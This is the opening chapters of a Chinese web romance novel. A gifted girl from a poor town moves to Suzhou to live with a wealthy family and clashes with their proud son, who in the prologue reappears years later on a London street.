《偕与光阴老》 1. 夏暮(一) 《偕与光阴老》全本免费阅读 《偕与光阴老》 文/湛夏 — [楔子] 伦敦,步行街。 人潮如织。 为赶deadline冯寂染连续熬了三个通宵,濒临猝死边缘,完成任务后她在合租房里蒙头睡了一整天,刚醒就听英国土著室友Grace说在ticktock上刷到了华人留学生穿汉服在街头演奏古筝的视频,非要和偶像来一场绝妙的邂逅不可,热情地撺掇她陪同。 冯寂染架不住Grace的软磨硬泡,便穿上法式V领露脐上衣和百搭牛仔裤,挎上托特包,轻装出了门。 可惜到了对方长期驻演的繁华街头,Grace那位风华绝代的偶像并没有出来炸街。 Grace懊丧得都快掉小珍珠了。 她们正好站在一家小资情调十足的复古咖啡馆门前。达芭萐宫殿风格,摩洛哥风情,雪松木的天花板上布满了精美的雕刻和彩绘,复杂的马赛克工艺炫目而吸睛,博足了眼球。 冯寂染为了安慰她,指着咖啡馆说请她喝咖啡。 Grace那双水蓝色的碧眼里瞬间亮起了光芒,却得了便宜还卖乖地说不如吃她亲手下厨做的松鼠鱼。 这道甜口的苏州菜大抵真的和欧洲人的口味配适,在英国买不到鳜鱼她就把食材改良成了海鱼。每做一次,Grace都恨不得她第二天继续烹制,魂牵梦萦,心心念念,比对八块腹肌的混血男友还执着。 冯寂染怀疑Grace把这道菜当成了食材换成鱼的炸薯条。 新鲜的番茄汁要比添加了防腐剂的番茄酱更浓郁。 说起这道菜,还是中学时代某人经常叫家里的保姆做,她才耳濡目染学会的。 为了满足这位少爷的味蕾,院里的池塘连锦鲤都不养了,莲叶下全换成了肥美的鳜鱼。 某人心血来潮说要给她露一手,信誓旦旦撸起袖子,全程一顿操作猛如虎,结果煮出来的残羹狗都不吃。 她在苏州呆了五年,吃了五年他家保姆做的饭,十指不沾阳春水,到头来也就只会做这一道苏州菜。 在国内读书时,满大街都是琳琅满目的美味珍馐,餐餐都能吃到不同地域的风味,外卖几十分钟就能送到手,轮不到她屈尊下厨。 只有现在出国交换,漂泊他乡,她才迫不得已自己动手。 连腊肉都过不了海关的日子,对于大多数留学生来说都是难过的,还要克服孤独和思乡之情。 冯寂染是个例外。 她度过了五年寄人篱下生活,早对这些细腻的情感免疫了。 一年之后她就会结束她的交换生活,回到南京大学完成剩余的学业。 区区一年而已,一晃眼就过去了。 冯寂染怎么也想不到自己会和谭恒澈在异国他乡的茫茫人海中,宿命般地重逢。 她一直以为谭恒澈被他的父母安排到了德国,可他怎么会和一群打扮时髦的潮流青年肩并肩出现在英国的街头? 青年的容颜和气质也几乎与往昔一般无二,穿着印着字母的连帽衫行走如风,在人群中还是显得那么不羁和耀眼。 为了遮挡烈日,他将兜帽罩在头顶,光影的界限将他清隽的面孔划分为冷白和晦暗的两半。 漆黑的眼眸在灰扑扑的阴影中愈发深沉,性感的薄唇和凌厉的下颚线都带着诱人犯罪的纯欲。 Grace挽住冯寂染的手腕把她往咖啡馆门口拽,冯寂染从怔忡中回过神,还以为自己认错了人。 下一秒,却见酷似谭恒澈的青年脚步一顿,随即疯了一般迈开长腿朝她狂奔而来。 身影与那炽烈如夏风的少年重叠。 炙热而赤诚。 — 2018年,盛夏。 冯寂染迎来了人生的转折点。 雨后清晨,残破的花叶零落一地,皱巴巴地紧贴着地面上颗粒状的纹理。 晨曦穿透生锈的铁栏,为狭窄逼仄的教室里增添了几分明媚通透的光感,丁达尔效应在布满水渍的玻璃窗前格外耀眼,光晕随着视角的偏移在屋檐下明灭。 暑假结束,班主任王鑫海戴着假期从二手交易市场上淘来的廉价随身便携耳麦,滔滔不绝地讲授着精心准备的开学第一课,望见几个点头如钓鱼的同学,便从讲台上走下来,站在了过道中央。 劣质的扩音器摧残着身旁学生的耳膜,接触不良带来的微弱电流声夹杂着混响,吓醒一帮去见周公的少男少女,连忙手忙脚乱地用手指堵住耳朵,抵御震耳欲聋的噪音。 浑沌的催眠音效则令缩在后排角落中昏昏欲睡的同学瞌睡打得更沉。 冯寂染一边听讲,一边对照黑板上的板书认真记下要点。 四十分钟下来,崭新的课本上已经附满了密密麻麻的批注。 学校没有给他们定制统一的校服,她穿着朴素的V领T恤,细长的天鹅颈曲线优美,脊背纤瘦笔直,在斑驳的墙面上映出窈窕的剪影。 天花板上的吊扇“吱呀呀”地转,徒劳地将滚烫的夏风引进室内,弥漫在教室中的暑热如同桑拿房里的蒸汽。汗水糊在身上,整个人都很不舒服,丁薇想趴在课桌上打盹,半天没能睡着,抬眼看到身旁勤奋刻苦的冯寂染,支着下巴,有气无力地问:“学霸,你不热吗?” 夏日的余温并没有因戛然而止的假期而散去,少女的额头上沁出豆大的汗珠,白皙脸庞在阳光下呈露着莹润的光泽,隐约泛起浅浅的绯红,带着一丝丝清纯、温婉、文静与恬淡。 “还好。” 心静自然凉。 “还好?”丁薇露出不可思议的神色,愁眉苦脸地抱怨道,“我感觉我都要热化了,这破教室什么时候能装空调啊。我听说隔壁镇上的教室全装了空调。我们也很穷啊,扶贫的好事什么时候能轮到我们头上啊。” 隔壁镇去年连降一个月暴雨,遭了洪水,国家拨款救灾,政府组织重建。今年上面的领导来基层视察、走访、慰问,央媒随行,市里迅速遣人将公共基础设施都翻新了一遍,连同学校的硬件也一并改善了。 他们镇地势高,没有受到水灾波及,穷归穷,但没有穷到家家户户揭不开锅的程度,镇上的老百姓都安居乐业,日子过得相当安逸。 冯寂染听了丁薇的抱怨,说出了蓄谋已久的计划:“真想吹空调的话,联名上书好了。你发挥你的聪明才智给校长写建议信,我带着全班配合你按手印。” 没人不想在高温天气泡在空调室里,她也不例外。 只不过她的学霸包袱让她无法在老师面前崩人设,需要一张嘴来代为发言。 丁薇把头摇成拨浪鼓:“我可不去,老王知道了非扒我一层皮,我可不想刚开学就写检讨。” 老王就是他们班主任王鑫海,四十岁出头,被别的班的同学起了“隔壁老王”的外号,但其实并不是所有人都知道这个外号的含义,后来他们自己班的人也这么叫了。 “忍忍吧,九月就凉快了。”见丁薇没有出头的胆量,冯寂染叹了口气。 “但是九月有联考啊!”丁薇发出一声哀嚎,“我要是有你那成绩,也不至于自己的卷子自己签字了。” 越是他们这种小地方,学习生涯越枯燥,日复一日,每一天都是昨天的翻版,混日子才是常态。 下课铃声在王鑫海讲到“斯是陋室,惟吾德馨”时骤然响起,原本萎靡不振的少男少女们纷纷躁动起来,兴致勃勃地跟邻座的同学讲述起暑假的经历,聊得热火朝天。 本就不大的教室湮没在一阵海潮般汹涌的交头接耳中,越来越嘈杂,转眼间便不再只是窃窃私语的动静,几乎盖过了窗外聒噪的蝉鸣。 毕竟拖堂不占理,王鑫海无奈地摇摇头,将手中的半截粉笔扔进粉笔盒里,合上课本说了声“下课”,转而叮嘱班委:“各科课代表把暑假作业收一下。” 话音刚落,他眼皮底下一名男生抱头“啊”了一声。 这一反应无异于自投罗网。 王鑫海皱着眉锁定了他:“没完成暑假作业的都自觉到走廊上站着去。” 被抓包的男生和他旁边心虚的同桌蔫头耷脑走出教室,接着又有几个破罐破摔的刺头摇头晃脑地跟了出去,在走廊上东倒西歪地站成一排。 大课间的收作业现场一片混乱,不同的纸质资料在教室中被当成投掷物乱飞。 冯寂染在喧嚷热闹的氛围中不紧不慢地从书包里翻出一摞厚薄不均的习题册,叠放在自己的课桌上。 习题册收一本少一本。 眨眼的工夫,她的课桌上便只剩语文作业了。 其他答案字数没那么多的作业都以迅雷不及掩耳之势被负责收作业的同学收走,随即分别出现在不同的课桌上。 拿了她作业的同学正争分夺秒奋笔疾书,字迹潦草得连他们自己都认不出。 没多久,语文课代表也过来收作业了。 他收走学校统一定制的辅导资料后,仿佛揪住了她的小辫子,扬唇问道:“摘抄本呢?” “什么摘抄本?”冯寂染被问得一怔,记忆里并没有接受这项任务的印象。 “语文作业之一,好词好句摘抄,一天一页。”语文课代表幸灾乐祸地笑了一声,“暑假玩疯了吧,装什么糊涂?没写就去外面站着呗。” 正低头系鞋带的丁薇使劲扯了扯打好的结,直起身子为冯寂染鸣不平:“耍什么威风啊,作业写完了了不起?上学期期末她发高烧请假了,是我不小心忘转达了,她交不上也情有可原。” 男女的生长发育期不同,语文课代表的身高没有丁薇高,被反驳后下意识抬头挺胸衬托气势,倨傲地昂起下巴,对着嫉恶如仇的丁薇说:“你的意思是她的摘抄你替她补?” 丁薇气急败坏地跺脚:“你——” 眼见着一场恶战就要爆发,冯寂染连忙拉住丁薇:“没关系,我出去站着就是了。” “这还差不多。”男生绽出得逞的笑容,“嘁”了一声,大摇大摆地走了。 丁薇咬牙切齿地看着语文课代表的背影,对冯寂染说:“凭什么让着他啊?你期末考试带病上考场他都没考过你,他纯粹就是因为嫉妒才故意刁难你。那些抄你作业的都没被罚,你其他作业都按时完成了却被罚,合理吗?你可是名副其实的三好学生,怎么能站走廊?” 就事论事自然不合理,可公平是相对的。 她是尖子生中的佼佼者,长期稳居第一的宝座,十里八乡没有一个实力相当的对手,身后是天堑一样的断层。 在她的出类拔萃面前,没有哪个老师能做到完全不偏袒。 她是这些老师的得意门生,老师们对她少不了特殊优待。 班上绝大多数同学对她的态度也比对其他人殷勤,就像现在为她冲锋陷阵的丁薇。 他们会想当然地觉得她这个第一名做什么都是对的,学习、效仿,把她所做的一切当作标准答案。 冯寂染轻松地安慰丁薇:“能打破刻板印象不也是一种本事吗?” 丁薇叹了口气:“也对,你就是很有本事的人。” 冯寂染将下堂数学课的课本翻出来放到桌上,替换了早自习的英语课本,在众目睽睽下走出教室,一抬头就看见了走廊上聚集的违纪常客。 这些人罚站时非但不害臊,反而嬉皮笑脸地享受着不受规则约束的自由。 他们看到冯寂染,都不怀好意地向她投去玩味的目光。 “稀奇啊,好学生,年级第一也要跟我们一起站走廊吗?” “就是,年级第一都没点特权吗?” “好学生,这是你第一次罚站吧,什么感觉啊?” 他们之所以这样挑逗,是因为平时他们玩那些乌七八糟的恶俗游戏时邀请过她,她没参与。 冯寂染知道她越羞恼他们越来劲,索性不理会他们的奚落,背着双手靠在墙上,失神地望向眼前空旷的篮球场。 镇上就他们这么一所初中,在她所在的地区根本排不上号。 他们的校园里没有绿茵场,只有环校的绿化带生长着稀疏的天然植被,连想眺望远方的绿植都很奢侈,从四面八方反射的强光实在刺眼,遮住了她展望未来的视野。 她知道自己只有跃过龙门,才不会在这浅滩里遭虾戏。 就在这帮校溜子打算更过分地调侃她时,教导主任来了。 这些人一向视教导主任为天敌,一见到教导主任挺着发福的啤酒肚大步流星地走过来,顿时吓得连大气都不敢出。 冯寂染以为教导主任是来例行训话的,没想到教导主任只是单独把他们中的某个人给叫走了。 “韩博宇,来办公室一趟,你爸来给你办转学了。” 他们这座小县城地处偏僻,不受教育部重视,开学时间通常是学校自己定的,远比其他学校开学早许多,因此即便是开学了,也还是会转走一大批寻到更好出路的学生。 名叫“韩博宇”的男生离开后,其他男生激动起来。 “转学了?这么爽!转学了是不是就不用补暑假作业了。” “转学了还补什么暑假作业?直接开启新生活!” “他是不是知道自己会转学才不写作业的?” 冯寂染听着他们在乎的都是无关痛痒的小事,心觉这里的山巅上分明除她以外空无一人,却有一种令人窒息的拥挤。 — 郁郁葱葱的香樟树东一棵西一棵,见缝插针般栽种在学校附近的门脸房中间,一路都是林荫或是建筑的投影。 冯寂染独自穿行在两者之间,身旁是车水马龙的街道,接送学生的家长骑着自行车和她擦肩而过,后座上的学生举着遮阳伞从她头顶挥过,她敏捷地往路边躲闪,又艰难地从围在炸串摊位前的人群身后挤过去,在油腥味中闻到了夏日瓜果的飘香。 路上路过文具店,看到卖文具的阿姨新在店门口添设了冰柜卖奶茶,经营范围又广了一点。 买奶茶的三个女生正手挽手站在冰柜前热切讨论着开学后的黑板报怎么置办。店主旋开瓶盖上标着不同口味的塑料瓶,将五颜六色的粉末叠了一层又一层,又娴熟地加入珍珠或椰果,从冰柜里舀出沁凉的乳白色鲜奶浇上去。随后,整杯奶茶被塞进机器塑封。密封好后,店主打断女孩们的话题,将奶茶递给其中一个女孩,让她自己拿吸管。 熟悉的生活气息将冯寂染包裹,她今天却因为待补齐的六十页摘抄暂时失去了这些世俗的欲望。 七天内不补完作业就会被请家长。 对她来说真是晴天霹雳。 进入老旧的居民楼,悬吊在半空中的电线不知何时耷拉了下来,墙根下堆了许多破砖破瓦和酸菜坛子。楼道里更是贴满了治疗不孕不育、防盗门开锁、失物招领的广告。 到了家门口,老式防盗门不隔音,隐约从里面传出欢声笑语,门缝里也渗出空调的冷气。 闲置了一个夏天的空调,在夏天的尾声打开了。 冯寂染一猜就知道家里来客人了。 她手上有钥匙却选择了敲门。 脚步由远及近,乔明娥给她开门后便笑着对客人介绍:“这就是我女儿染染,冯寂染。” 冯寂染的目光越过乔明娥纤瘦的身影看向家里。客厅沙发上坐着好几个素未谋面的陌生人,还有她许久未去看望的爷爷。 冯汉生慈祥地看向她,朝她招招手:“染染,过来。” 冯寂染不明就里地关上身后的门,迈着碎步走过去。 她刚在冯汉生面前站定,旁边的陌生中年男人就对老爷子说:“孩子的教育的确是非常重要的问题。我这次来,就是受父亲所托,把这孩子接到城里接受更好的教育。镇上就这么一所中学,教育资源可以说相当匮乏,不利于孩子未来的发展。正好我儿子跟小姑娘同岁,一起读书,互相之间也有个照应。要是你们放心不下,茂鸿和明娥干脆也过来吧,我可以给他们介绍一份体面的工作。” 冯寂染蓦然怔住。 不敢相信幸福会来得这么突然。 她早就听说城里的教育资源和他们这里的有着天壤之别,大多数学校都是削尖了脑袋才能进的,代表着雄厚的师资力量和惊人的升学率。她的同龄人中有很大一部分都被进城打工的父母接走了,如果城里不好,那些大人也不会一赚到钱就给自己的孩子办转学。 突如其来的转机让她有了更好的选择,还是不劳而获的躺赢,瞬间消弭了她毕其功于一役的那种焦虑。 她做梦都想转到城里的学校。 只要如愿以偿,哪怕是让她被迫离开熟悉的生活圈到一个陌生环境中去开荒,她也在所不惜。 眼睛是心灵的窗户,昭示着内心的想法,冯寂染用殷切的目光望向和蔼的爷爷,希望家庭里的大家长能借机赐予她新的机遇。 冯汉生察觉到她的注视,转过头来,正对上她充满渴望的眼神,心领神会:“那就劳你们夫妻俩费心了,不知道该怎么感谢你们才好。” 谭岳连忙说:“您言重了,要不是您当初救了我父亲一命,我们一家还不知道沦落成什么样呢,如今啊,权当是报恩了。” 冯汉生摆摆手:“当年是当年,现在是现在,该算明白的还是要算明白。代我向你父亲问好,我现在是年纪大了腿脚不怎么灵便,不然就算他不来,我也要找机会去拜会。” “您多保重身体。” 两家人就这么你来我往说了些客套话,冯寂染去城里上学的事便定了下来。 冯茂鸿见女儿的教育问题有了着落,没话找话,问起谭岳的儿子怎么没来玩。 谭岳说:“我趁着暑假给他在青少年宫报了几个班,他要上课。对了,要不给染染也报个班,琴棋书画舞蹈都不错。很多特长都是要从小就练童子功的,你们也考虑考虑。” 冯寂染对青少年宫闻所未闻,但学习特长都要花钱,冯茂鸿和乔明娥经营理发店很辛苦,挣的都是血汗钱。 她心疼父母低回报的劳作,对掌握家中经济大权的冯茂鸿懂事地说:“我只想好好学习,在入学考试中取得一个好名次,特长的事以后再说吧。” 冯茂鸿为女儿的目标清晰而感到欣慰,抬手揉了揉她的脑袋。< 2. 夏暮(二) 《偕与光阴老》全本免费阅读 夜幕降临冯寂染才被结束应酬的谭岳寻回,清秀俏丽的面庞上泪痕宛然,止不住地发抖。 谭岳只当她发抖是因为怕黑,吩咐家里的保姆煮了碗百合桃胶莲子汤给她安神祛暑,殊不知她这是被白天的经历气出的生理反应。 冯寂染喝了热汤逐渐冷静下来,平复情绪后便咬着唇为自己刚才痛哭流涕的模样感到羞耻。 她从来没有这么狼狈过,像是一夜之间从神坛跌落,骄傲破碎,形象全无。 一想到导致自己失去理智破防崩溃的罪魁祸首,她就握紧了拳,心头上的芥蒂蜿蜒缠绕,别扭地拧成了一团死结。 这是她第一次见到这个桀骜的少年,他风姿卓绝,骨相优越,英俊中带着野性,蓬松的黑发盖过了眉毛,下颚线硬朗坚毅,不论从哪个角度看都是一副凶神恶煞的模样。 他冷漠的态度让她蒙受了莫大的冤屈,他不愿追根溯源弄清真相是对真正的始作俑者的姑息纵容。在他家乱走并把他的作品弄脏的另有其人。倘若这人不站出来承担责任,真的是因为图谋不轨,那么谭恒澈的不闻不问迟早会让孽力反噬到他自己头上。 而他身边那些狐朋狗友不明真相便恶语中伤。物以类聚,他又能是什么好人? 这天晚上冯寂染兀自生了一宿的闷气,辗转反侧,胡思乱想,结果一觉醒来,太阳照常升起。 碧空如洗,云蒸霞蔚。 庭院里叽叽喳喳的鸟鸣和拂弄竹叶的清风,窗明几净的室内被明媚的阳光温柔轻抚,院落里传来“沙沙”的扫地声,冯茂鸿正和乔明娥细声交谈,说来了这里就不想回去了,乔明娥则笑着赞同。 冯寂染忽然意识到,她现有的宁静生活,除去昨天的意外,一切都很美好。 一大早,谭岳就托妻子李悦容来喊他们一家一起吃早餐。 冯寂染夜不能寐,几乎一夜没睡,顶着两个硕大的黑眼圈,睁开惺忪的睡眼,磨磨蹭蹭地穿好衣服,半天才被谭家的保姆带到餐厅。 宽大的餐桌上摆满了琳琅满目的餐点,让人禁不住怀疑烹制早餐的人把冰箱掏空了。 谭恒澈也在,穿着整洁的字母T和工装休闲短裤,耳朵上挂着一对有线耳机,耳机插头插在复读机上,他似乎是在听英语。 见到冯寂染一家,他竟然礼貌地把耳机拔了,向冯茂鸿和乔明娥问好:“叔叔阿姨好。” 简直跟昨天在书房拽上天的天之骄子判若两人。 冯寂染看着他的第二副面孔,心想他在长辈面前可真能装。 受到他的启发,她也大方得体地向谭岳和李悦容问好,余光扫到谭恒澈,瞥见他眯了眯眼,她不由自主地后退了半步。 察觉到自己下意识的退却,冯寂染逼着自己克服没来由的胆怯,佯装若无其事地拖开椅子在餐桌前坐了下来。 李悦容热情地招待着他们一家,见缝插针地提起了冯寂染上学的事:“转学的事我已经跟校长说了,手续这两天就能办好,到时候跟我们家阿澈一个班,让他每天载寂染上学就可以了。” 谭恒澈听到李悦容的安排抬起头,径直望向冯寂染,没头没尾地问:“会骑车吗?” 或许是在他们一家到达餐厅前,谭岳和李悦容跟谭恒澈交代清楚了情况,他现在表现得有点自来熟。 冯寂染确实不会骑自行车。 他们镇子很小,学校分布在居民区附近,以往她上学都是靠步行。 他问这话明摆着就是不想载她,冯寂染识趣地表态:“我不会,但可以学。” 一夜过去,她又恢复了蓬勃的朝气。 谭恒澈偏头对李悦容说道:“我今年生日舅妈不是送了辆折叠自行车吗?箱还没拆呢吧,推出来给她骑吧。” 冯寂染听得出他是有主见的人,而且看起来在这个家里还有不小的话语权,平时应该有很多事都是他自己做主的。果不其然,李悦容立刻应允:“行,你们一人骑一辆,路上也安全一点。你抽空教教她,扶着她一点。” 可冯寂染一点也不想让凶巴巴的谭恒澈教她,连忙赶在谭恒澈回复前对李悦容说:“谢谢阿姨,我还是自己摸索吧。” 冯茂鸿和乔明娥对她不给人添麻烦的礼貌想法很是赞同,乔明娥闻言顿时搭腔:“这孩子聪明,向来都是无师自通,让她自己琢磨就好。” 谭恒澈不置可否,旋即拿起面前的茶叶蛋在桌面上敲了敲,像是打磨鸡蛋的棱角一般,直敲得每一寸蛋壳都粉碎,随后三下五除二剥去了那已然四分五裂的蛋壳。 冯寂染也憋着一口气和他较劲,对他爱搭不理,并没有因为他是这个家的少爷而谄媚奉承,以图今后的日子好过一点。 她的骨子里藏着不羁的野性和高傲,温婉的外表下是不卑不亢的坚韧与顽强。 谭恒澈的生日在春节,自他舅妈送他这辆折叠自行车当生日礼物,已经过去了半年,这车也就压了半年箱底。 谭恒澈自己提的议,后续自然也归他负责。 吃过早餐,他走进仓库,主动帮冯寂染组装。 少年装车的动作娴熟又干练,高大的身影处在背光的暗部,尘埃像是被光束吸走了,衬得他不染尘埃。 冯寂染在旁边看着,告诫自己不要被假象蒙蔽。 他昨天隔岸观火,一句还她清白的话也不说,只求尽快了事的时候,可不像是心善的好人。 他干完活手上沾了一手的灰,让她自己推车,意味不明地笑着说:“来,让我看看你悟性有多高。不行别逞强,有需要随时喊我。” 他虽然是笑着的,但冯寂染感觉他就等着看她出洋相。 她就算为了自己的尊严也不可能认输。 冯寂染今年十四岁,身高一米五,以她的腿长,脚尖堪堪能触地,艰难地保持着平衡。 谭恒澈双手抱臂伫立在原地,没有一点上前帮她的意思。 如果说之前她还对谭恒澈心存一丝依赖,那么此刻她已不再对他抱一丝期待了。 没有人会无缘无故助她渡过难关,她能倚仗的只有自己。 冯寂染放弃幻想,准备战斗,刚歪歪扭扭地靠蹬地前进了两米,都算不上骑,谭恒澈就在她身后“啪啪”鼓起掌来,对她说“加油”。 冯寂染看他就像看黄鼠狼给鸡拜年,在心里默默翻了个大大的白眼。 十分钟后,当她摇摇晃晃摔倒在地,狼狈不堪时,咬着唇朝身后一看——身后哪还有谭恒澈的影子? 冯寂染心想幸亏自己从没想过指望过他,随即咬牙倔强地和身下的自行车大战了八百回合,总算是凭借自身的坚韧把这冰冷的铁疙瘩给驯服了。 学会骑车后,她拍了拍因一次次跌倒而变得灰扑扑的裤腿,进了院门。 这时候谭恒澈现身了,抬手看了眼手腕上价值不菲的机械表,皮笑肉不笑地说:“不到一个小时,学得还挺快。” 冯寂染对他没有好脸色,没指望他这张狗嘴里能吐出象牙。 不出她所料,下一秒,她就又听谭恒澈欠揍地说:“要不今后你载我吧,蹬踏板真挺费劲的。” 冯寂染忍无可忍,正欲发作,又听他话锋一转,“要不你去劝劝我爸妈,让他们给我买辆机车也行。我就可以骑着机车载你去上学了。”谭恒澈说着竖起大拇指,指了指身后的空气,“看到隔壁门口停的那辆机车没?拉不拉风?” 冯寂染垮着脸瞥了他一眼,一口拒绝:“不行,你没成年,未成年不能骑机车。” “很守规矩嘛,乖宝宝。”谭恒澈和她没谈拢,当即眯起了他那双清亮漆黑的桃花眼,饶有兴味地问道,“所以我要是做了什么老师家长不让干的事,你会告密吗?” 他问这话时散发出一股肆无忌惮的张扬,仿佛即便是她去告密,他也浑然不在意。 冯寂染面无表情地盯着他,将父母的叮咛抛在脑后:“你果然不是什么好东西。” 谁家好人会预设不该发生的情境? 谭恒澈眉梢微扬:“我怎么就不是好东西了?” 冯寂染又想起了昨天被他们一群人联合排挤的场景,耿耿于怀:“那幅字上的墨不是我滴的。我行得正,坐得端,没做过的事情就是没做过。” 谭恒澈就没把这件事放在过心上,一副无所谓的态度:“不是你滴的就不是你滴的呗,我又没怪你。” “这不是你怪不怪我的问题。”冯寂染声声控诉,“我翻山越岭来到城里是多么不容易,那些人骂我骂得那么难听,你作为东道主却任由他们态度轻浮地侮辱我的名誉,确定是替你爷爷来报恩的吗?” 谭恒澈见她提到祖辈的渊源,神色松动了些许,便耐着性子跟她解释:“他们都是我请到家里帮我补暑假作业的临时工,外校的,五百块一个小时。事没做完,我为了一幅可有可无的字大动干戈,他们不给我干活了怎么办?再说我也没任由他们说三道四,在你走后,我已经说过他们了。” 冯寂染心想他们有钱人家的少爷真会玩,她还以为那帮人一口一个“澈哥”叫得那么亲近,应当是跟他熟识的朋友,结果却是他拿真金白银雇的帮手? 谭恒澈沉默片刻,低声下气地哄她:“我给你买棒棒糖赔罪好不好?” 冯寂染拒绝:“我不要。” “你等我一下。”她话音未落谭恒澈就径自跑出了院门。 冯寂染望着他一闪即逝的背影,一脸无可奈何。 她都说不要了。 不一会儿谭恒澈就拿着一个巴掌大的棒棒糖回来了,不容抗拒地塞进了她手中。 这个棒棒糖的尺寸是冯寂染从未见过的,五彩的糖色像漩涡一样绕成几圈。 在他买回来前,她还以为他所谓的棒棒糖是指五毛一根的阿尔卑斯。 是她没见过世面。 她失神的工夫,谭恒澈当她心甘情愿地收下了,观察着她的脸色,试探着问:“收下了我就当你不生气了。” 半晌,冯寂染苦口婆心地劝导道:“中考高考可没人能替你考,你自己的作业,还是自己写的好。” 谭恒澈看着又被她还回来的棒棒糖沉默半晌,却没有逼着她接受,反而开诚布公地坦白道:“我只是让他们替我写学校布置的作业而已,你不知道我课外辅导班的作业有多少。我不仅要学初中的知识,还得提前学高中的内容,因为我高中要冲刺奥赛,争取保送。 3. 夏暮(三) 《偕与光阴老》全本免费阅读 谭恒澈率先出门,冯寂染换好鞋跟上去,眼看着司机毕恭毕敬地给他开车门,他理所应当地享受着司机的礼遇,继而等着司机再给他关门。 他似乎早已习惯了所有人以他为中心,不会为任何人的崇拜、赞美、追捧动容,有手有脚却能心安理得地接受别人的侍奉,一身的少爷病。 据冯寂染这些天的观察,这个世界上没有什么东西是他真正感兴趣的,所以他对什么都不执着。 书法他心血来潮才会偶尔练一下,写完的字就那么摊在桌面上,三不知被人拿去扔了都不知道,由此引发了闹剧还令他非常不高兴。 钢琴是他父母逼着他学的,每天奉命练一首曲子,一个音符都不愿多弹。 机车他就提了一嘴,估计是看着别人的机车停在路边提起了些许兴趣,但要是强求不来,他就放弃了。 以他的学习水平,大大小小的考试都不在话下,但他是一点也不热爱学习。 他不喜欢李悦容的唠叨,却又不是单纯不喜欢李悦容的唠叨,而是一视同仁地厌恶别人对他的管教。 他放荡不羁,无拘无束,做事全凭心情。 这种人要是会主动关心谁就是奇迹。 清白是她喊来的,公道是她讨来的,利益是她争来的,补偿是她要来的。 他对她的好不是因为愧怍怜悯,而是因为不愿与她纠缠。 看透现象背后的本质后,冯寂染对他便没了被异性关怀的心动,只希望在接下来的相处中相安无事,就连和他一起坐在车驾后排座位上,也始终隔着一个人的距离,路上谁也没率先开口跟对方说一句话。 轿车到达明理中学后,他们同时从同一辆车上下来。 谭恒澈的脚刚着地,就听认识他的人在不远处问:“澈哥,一个暑假不见,身边怎么多了位美女?什么来头啊?” 与其说是打招呼,不如说是探听八卦。 想吃瓜的心蠢蠢欲动,且不加掩饰。 谭恒澈看穿对方的心思,冷蔑地笑了一下,不发一言。 冯寂染则不卑不亢地和谭恒澈撇清了关系:“别误会,我只是蹭车的,和他没别的关系。” 对方没事找事,眉飞色舞地笑着挑衅:“澈哥,看来你也不招人家待见嘛。” 谭恒澈也不生气,似笑非笑地问道:“滚犊子,找抽呢是吧?” 对方被他口头震慑,龇牙笑了笑,飞快溜之大吉。 “你自己去办公室找班主任报到吧,我先去教室了。”谭恒澈知会冯寂染时偏头看了她一眼,提醒道,“在学校别乱说话,最好装作不认识,能给彼此省去不少麻烦。” 就算他不说冯寂染也会这么做。 她不是第一天上学了,知道学校除了是人才培育基地,还是闲言碎语满天飞的是非之地。 青春期的少男少女情窦初开,有许多不切实际的遐想和天真浪漫的幻想,喜欢讲也喜欢听异性之间的暧昧故事,却一点也不在乎因此对当事人造成的困扰。 她寄宿在他家的事要是传开了,绝对是劲爆的大新闻,今后的校园生活里少不了捕风捉影的流言蜚语。 别看谭恒澈玩世不恭,时不时痞笑着和她插科打诨,在相处的细节上都是划着清晰边界的。 他从来不会为了图凉快在家里赤膊行走,也不会靠近她借住的居所,而且会有意识地避免和她进行肢体接触,否则光是教她骑自行车或是弹钢琴,都是少女漫里冒着粉红泡泡的场景。 冯寂染想,谭恒澈让她别乱说话,应该不单是指他们同在一个屋檐下的微妙关系,还有她所了解的隐私。 比如他的暑假作业是雇人写的,比如他家住的气势恢宏的苏式园林,比如他和他父母在家里谈论的商机,都是她要保守的秘密。 他的事情,她会比其他人知道的多一点。 他的为人,她也会比其他人清楚一点。 但她有自知之明,不会也不敢把这些不能说的东西当作炫耀的资本散布。 因为她觉得从他们见面的第一天起,谭恒澈就给足了她下马威。 他们一家抵达苏州的当天,他不出来迎接,已经表明了不欢迎他们住进自己家的态度。 后来她当着他的面受了委屈,他是真真切切看见了的,却非要等她旧事重提才来哄。 他借着让她学自行车,拐弯抹角怂恿她去劝他父母给他买机车,看似无厘头,实际上也是在试探她聪不聪明,好不好糊弄。 在家练琴则是在宣示他的主权,不是他不知道照顾别人的感受。 父母邀请来的客人,爷爷的救命恩人,他明目张胆地排斥就太失礼了,有违他作为世家少爷的教养,所以他就退而求其次,警惕地防备着她,时刻观察着她是否听话乖巧,有没有韧性和毅力,有没有反抗的能力,有没有鸠占鹊巢的野心。 他根本没有把她当作纯良无害的女孩看待,而是将她视为了挤占他原有资源的入侵者。 但冯寂染不想与他为敌,也不想以最大的恶意揣度他。 毕竟她确实是在没有血缘关系的情况下在和他共享资源,谭恒澈因此不待见她也无可厚非。 既然他不想和她扯上关系,那她就如他所愿,不在学校和他扯上乱七八糟的关系,把所有精力都投入到学习当中,韬光养晦,然后在未来的某一天石破天惊。到时候,她想住哪里就住哪里,想做什么就做什么,想和谁朝夕与共就和谁朝夕与共,这些都和他没有关系了,也不必再忍气吞声地看他的眼色。 她借了一场盛大的东风,接下来的晨昏昼夜,都在观望着东风何时离去。 — 冯寂染刚迈进初中部的教学楼,忽然电闪雷鸣。 倾盆大雨倾泻而下,后面躲进建筑里的同学都淋成了落汤鸡,惊慌失措地抱怨着这鬼天气。 冯寂染没管其他人,依照着指示牌的指引,找到了班主任老师所在的办公室。 教学楼掩映在高大的梧桐后,综合办公室里安安静静,只有几名老师陆续起身到饮水机旁接水,和隔壁教室朗朗的读书声形成鲜明的对比。 冯寂染双手交握,垂放在身前,低头站在刘虹萍的工位旁,指节因长久不动的抻张泛着白。 不知是哪个难缠的家长,大清早就给刘虹萍打电话,任刘虹萍怎么解释,都不管不顾地指责。歇斯底里的尖叫声震耳欲聋。 多亏刘虹萍执教多年,脾气早被形形色色的学生和家长磨没了,低声下气地赔着笑,才没引发一场激烈的争吵。 刘虹萍散发着一股儒雅娴静的书卷气,温声细语地和对方说:“学校有学校的安排,我们不会区别对待任何一个勤奋上进的孩子,完全没有您所谓的只顾上游学生的说法。您要是方便,可以抽空来我们学校,听我当面为您澄清。” 奈何对方还是不依不饶,说她没有登门拜访态度不够诚恳,气势汹汹地扬言要到教育局举报,一言不合就义愤填膺地挂断了电话。 冯寂染隔着空气都能感受到刘虹萍的无奈。 